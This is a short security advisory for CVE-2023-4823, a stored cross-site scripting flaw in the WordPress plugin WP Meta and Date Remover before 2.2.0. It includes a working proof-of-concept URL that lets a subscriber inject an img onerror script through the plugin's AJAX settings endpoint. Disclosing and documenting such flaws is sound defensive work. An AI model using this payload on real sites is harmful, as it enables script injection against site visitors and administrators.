WP Meta and Date Remover < 2.2.0 – Subscriber+ Stored XSS | CVE 2023-4823

Description

The plugin provides an AJAX endpoint for configuring the plugin settings. This endpoint has no capability checks and does not sanitize the user input, which is then later output unescaped. Allowing any authenticated users, such as subscriber change them and perform Stored Cross-Site Scripting.

Note: A partial fix was released in v2.1.0, but stored XSS was still possible for users with Admin+ privileges

Proof of Concept

Open the following URL when logged in as a subscriber:

`https://example.com/wp-admin/admin-ajax.php?action=update_settings&settings[removeByCSS]=true&settings[removeFromHome]=true&settings[cssCode]=</style><img src%3D1 onerror%3Dalert(document.domain)>`

The XSS will be triggered in any pages (both frontend and backend)